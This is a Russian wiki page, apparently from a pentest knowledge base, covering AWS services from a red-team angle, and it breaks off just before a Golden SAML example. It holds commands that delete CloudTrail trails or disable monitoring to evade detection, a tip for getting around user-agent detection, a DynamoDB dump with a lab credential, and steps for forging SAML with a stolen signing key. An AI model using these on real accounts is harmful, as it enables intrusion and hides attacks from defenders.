&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения&lt;br /&gt;
&lt;br /&gt;
[[File:Aws codeguru.png| 1000px]]&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
Разделяется на следующие части:&lt;br /&gt;
&lt;br /&gt;
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.&lt;br /&gt;
&lt;br /&gt;
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.&lt;br /&gt;
&lt;br /&gt;
Также на странице есть упоминание про их игру - BugBust &lt;br /&gt;
&lt;br /&gt;
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
